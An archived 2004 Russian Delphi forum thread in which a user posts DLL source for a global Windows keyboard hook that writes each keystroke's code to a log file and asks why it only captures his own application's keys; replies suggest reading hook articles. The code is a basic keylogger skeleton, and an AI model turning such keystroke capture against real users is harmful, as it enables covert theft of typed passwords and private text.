Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];

Вниз

Глобальный ХУК   Найти похожие ветки 

 
cherrex   (2004-03-09 14:04) [0]

Пытаюсь ставить глобальный ХУК, а он перехватывает сообщения  только с моего приложения.Я уже и в место hInstance пишу хэндл dll. ПОМОГИТЕ!!!!!!
library keyhook;

uses
 SysUtils,
 Windows,
 Messages,
 Forms;

var
hh : HHOOK;
F : TextFile;

{$R *.res}
function KeyboardProc(code : integer; wParam : word; lParam : longint) : longint;export; stdcall;
begin

if code < 0 then
begin
  Result:= CallNextHookEx(hh, Code, wParam, lParam);
  Exit;
end;
   if   (  ((lParam and $80000000)=0) and (wParam>=0) and (wParam<=120)  )
         OR (  ((lParam and $80000000)=0) and (wParam=VK_SPACE)  )
   then
     begin
     AssignFile(f,"log.txt");
     Append(f);
     Try
     Writeln(f,IntToStr(wParam));
     Finally
     CloseFile(f);
     end;
     end;
CallNextHookEx(hh, Code, wParam, lParam);
Result:= 0;
end;
//******************************************************************************
procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;
begin
if switch=true then
begin
  {&#211;&#241;&#242;&#224;&#237;&#224;&#226;&#235;&#232;&#226;&#224;&#254; HOOK, &#229;&#241;&#235;&#232; &#238;&#237; &#237;&#229; &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237; (switch=true). }
  hh := SetWindowsHookEx(WH_Keyboard, @KeyboardProc, LoadLibrary ("KeyHook.dll"), 0);

  if hh <> 0 then
      MessageBox(0, "Shell HOOK &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237; !", "Message from shell.dll", 0)
    else
      MessageBox(0, "HOOK &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#232;&#242;&#252; &#237;&#229; &#243;&#228;&#224;&#235;&#238;&#241;&#252; !", "Message from shell.dll", 0);

end
else
{&#211;&#228;&#224;&#235;&#255;&#254; &#244;&#243;&#237;&#234;&#246;&#232;&#254;-&#244;&#232;&#235;&#252;&#242;&#240;, &#229;&#241;&#235;&#232; &#238;&#237;&#224; &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237;&#224; (&#242;.&#229;. switch=false). }
UnhookWindowsHookEx(hh)

end;

//******************************************************************************
exports hook;
begin
end.


 
Игорь Шевченко ©   (2004-03-09 14:06) [1]

Читаем статью про хуки на этом сайте в разделе "Статьи". Долго.


 
icebeerg ©   (2004-03-09 14:54) [2]

> Игорь Шевченко ©   (09.03.04 14:06) [1]
И нудно!

(хук справа, слева, снизу, ГЛОБАЛЬНЫЙ ХУК :))


 
cherrex   (2004-03-09 15:40) [3]

С DLL из примера тоже самое


 
tesseract ©   (2004-03-11 18:12) [4]

Про хуки надо читать в статьях на RSDN. У меня всё работало - но какой на фиг forms  в DLL перехвата????? Если ты в EXE его пишешь то конечно не заработает - надо отдельную DLL писать.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.45 MB
Время: 0.038 c
1-1082031763
gauss
2004-04-15 16:22
2004.05.02
Возник такой вопросик в связи с оператором if ... then


6-1079032405
Qwer
2004-03-11 22:13
2004.05.02
Обмен данными


6-1078856220
incm
2004-03-09 21:17
2004.05.02
TIdHTTP - как закачать определенное кол-во байтов с нужного места


14-1081411081
[lamer]Barmaglot
2004-04-08 11:58
2004.05.02
Мультихагрузочная система...


1-1082306540
Just_
2004-04-18 20:42
2004.05.02
Поиск и замена по правилу





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский